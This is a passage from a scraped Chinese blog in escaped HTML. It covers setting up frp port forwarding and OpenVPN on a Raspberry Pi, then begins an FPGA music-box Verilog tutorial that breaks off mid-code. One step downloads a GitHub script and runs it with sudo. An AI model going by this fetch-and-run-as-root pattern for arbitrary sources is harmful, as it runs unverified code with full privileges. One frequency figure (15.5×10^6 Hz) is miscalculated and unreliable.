title=\"服务端\"\u003e\u003c/a\u003e服务端\u003c/h3\u003e\u003cp\u003e在云服务器上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_amd64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_amd64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003ebind_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 默认配置中监听的是 7000 端口,可根据自己实际情况修改。\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 服务端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frps.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"客户端\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E5%AE%A2%E6%88%B7%E7%AB%AF\" class=\"headerlink\" title=\"客户端\"\u003e\u003c/a\u003e客户端\u003c/h3\u003e\u003cp\u003e在树莓派上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_arm64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_arm64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# * 改为 FRP 服务端的公网 IP\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 为 FRP 服务端监听端口 上面配置端口对应\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_tcp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e tcp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_udp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e udp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# server_addr 为 FRP 服务端的公网 IP\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# server_port 为 FRP 服务端监听的端口\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 客户端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 先确保服务端启动了再启动客户端\u003c/span\u003e./frpc \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frpc.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样 frp 服务端就可以建立一个客户端连接了\u003c/p\u003e\u003ch3 id=\"设置-frp-开机自启\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E8%AE%BE%E7%BD%AE-frp-%E5%BC%80%E6%9C%BA%E8%87%AA%E5%90%AF\" class=\"headerlink\" title=\"设置 frp 开机自启\"\u003e\u003c/a\u003e设置 frp 开机自启\u003c/h3\u003e\u003cp\u003e客户端服务端操作大同小异\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e客户端是 \u003cstrong\u003e\u003ccode\u003efrpc\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrpc.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e服务端是 \u003cstrong\u003e\u003ccode\u003efrps\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrps.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e创建后台启动模版(服务端为例)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/systemd/system/frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eExecStart\u003c/code\u003e 根据自己放 \u003ccode\u003efrp\u003c/code\u003e 的目录选\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eUnit\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eDescription\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003efrps\u003cspan class=\"token assign-left variable\"\u003eAfter\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enetwork.target\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eService\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eExecStart\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/home/yk/frp/frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e /home/yk/frp/frps.ini\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eInstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eWantedBy\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emulti-user.target\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 启动测试\u003c/span\u003esystemctl start frps.service\u003cspan class=\"token comment\"\u003e# 查看启动状态\u003c/span\u003esystemctl status frps.service\u003cspan class=\"token comment\"\u003e# 开机自启\u003c/span\u003esystemctl \u003cspan class=\"token builtin class-name\"\u003eenable\u003c/span\u003e frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"OpenVPN-配置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#OpenVPN-%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"OpenVPN 配置\"\u003e\u003c/a\u003eOpenVPN 配置\u003c/h2\u003e\u003cp\u003e在树莓派上操作(与运行)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里使用tun模式、tcp模式,比较容易搭建。手动搭建比较繁琐,我是直接使用一键搭建脚本。\u003c/p\u003e\u003cp\u003e脚本地址:\u003ca href=\"https://github.com/angristan/openvpn-install\"\u003ehttps://github.com/angristan/openvpn-install\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ecurl\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-O\u003c/span\u003e https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh\u003cspan class=\"token function\"\u003echmod\u003c/span\u003e +x openvpn-install.sh\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e ./openvpn-install.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e因为这里我没截图,就用参考博客的图了\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/3.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/5.webp\" alt=\"5\"/\u003e\u003c/p\u003e\u003cp\u003e然后启动 OpenVPN\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e# 启动测试systemctl start openvpn.service# 查看启动状态systemctl status openvpn.service# 开机自启systemctl enable openvpn.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在安装完成后,会生成一个以刚刚命名好的ovpn文件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/frp_openvpn/6.webp\" alt=\"6\"/\u003e\u003c/p\u003e\u003cp\u003e把这玩意下载下来\u003c/p\u003e\u003cp\u003e然后用文本编辑器打开并修改一处(应该是第三行)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eremote xxx.xxx.xxx.xxx \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#将默认的1194端口改成FRP转发端口21194(上面FRP客户端配置文件配置的)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e安装完成再次运行脚本,可选择 1)添加用户 2)移除已存在的用户 3)协助软件 4)退出\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"进行连接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/24b6/#%E8%BF%9B%E8%A1%8C%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"进行连接\"\u003e\u003c/a\u003e进行连接\u003c/h2\u003e\u003cp\u003e我是在手机上测试的\u003c/p\u003e\u003cp\u003e安装 OpenVPN 客户端,选择我们修改好的 ovpn 文件,连接\u003c/p\u003e\u003cp\u003e)就是速度嘛,理解万岁,看了看论坛还行\u003cspan class=\"carol_shuileshuile\"\u003e\u003c/span\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e还没整完。\u003c/p\u003e\u003cp\u003eUPDATE1 AT: 2022-12-22 继续完成了Music box 2 这一部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因为在学校收了一块野火征途mini FPGA开发板,在看的是配套的视频教程。群里学长推荐我做一做 fpga4fun 上的东西,那就整一整 ~\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e这个项目是用 FPGA 驱动喇叭发出声音和音乐。\u003c/p\u003e\u003cp\u003e硬件连接为 FPGA 开发板,一个喇叭,一个 1kΩ 电阻。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBox.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBoxSchematic.gif\"/\u003e\u003c/p\u003e\u003ch2 id=\"Music-box-1-Simple-beep\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Music-box-1-Simple-beep\" class=\"headerlink\" title=\"Music box 1 -Simple beep\"\u003e\u003c/a\u003eMusic box 1 -Simple beep\u003c/h2\u003e\u003ch3 id=\"计数与频率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E8%AE%A1%E6%95%B0%E4%B8%8E%E9%A2%91%E7%8E%87\" class=\"headerlink\" title=\"计数与频率\"\u003e\u003c/a\u003e计数与频率\u003c/h3\u003e\u003cp\u003e一个16位的计数器,范围位 0 ~ 65535 共65536个值,如果板子的主频为 25M ,如果在上升沿计数(时钟是个方波),那么这个16位计数器最高位对应的频率便为 $25\\times10^6\\div65536=381Hz$ \u003cstrong\u003e(就是加到对应那一位变化之后算一次)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e以此类推第15位为 $25\\times10^6\\div32768=762Hz$ , 第14位为 $25\\times10^6\\div16384=1525Hz$ …… 第2位为$25\\times10^6\\div4=6.25\\times10^6Hz$ , 第1位为$25\\times10^6\\div2=15.5\\times10^6Hz$\u003c/p\u003e\u003ch3 id=\"产生-A-的声音\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E4%BA%A7%E7%94%9F-A-%E7%9A%84%E5%A3%B0%E9%9F%B3\" class=\"headerlink\" title=\"产生 A 的声音\"\u003e\u003c/a\u003e产生 A 的声音\u003c/h3\u003e\u003cp\u003eA 的频率为 440Hz \u003c/p\u003e\u003cp\u003e以 25M 主频为例,产生440Hz可以先使用16位计数器,将 25M 分为 65536 份,此时计算出产生 440Hz 只需要计数到 56818 即可。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,占空比就不是 50% 了,$b’1000\\ 0000\\ 0000\\ 0000=d’32768$ ,所以低电平为 0\u003cdel\u003e32767,高电平为 32768\u003c/del\u003e56818,占空比为42%\u003c/p\u003e\u003cp\u003e所以可以折中一下,然后每次翻转 \u003ccode\u003espeaker\u003c/code\u003e 的电平值 ,而且折中之后可以省一位计数器的值~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h3\u003e\u003cp\u003e因为征途mini的主频为50M,所以用17位可以产生的时钟为 $(2\\times25\\times10^6)\\div(2\\times65536)=381Hz$\u003c/p\u003e\u003cp\u003e要产生440Hz,计数到 $56818\\times2=113636$ 即可。\u003c/p\u003e\u003cp\u003e使用翻转的方式,使用16位计数器,折中计数至 56818,同时加上了复位信号\u003c/p\u003e\u003cp\u003e主程序代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token 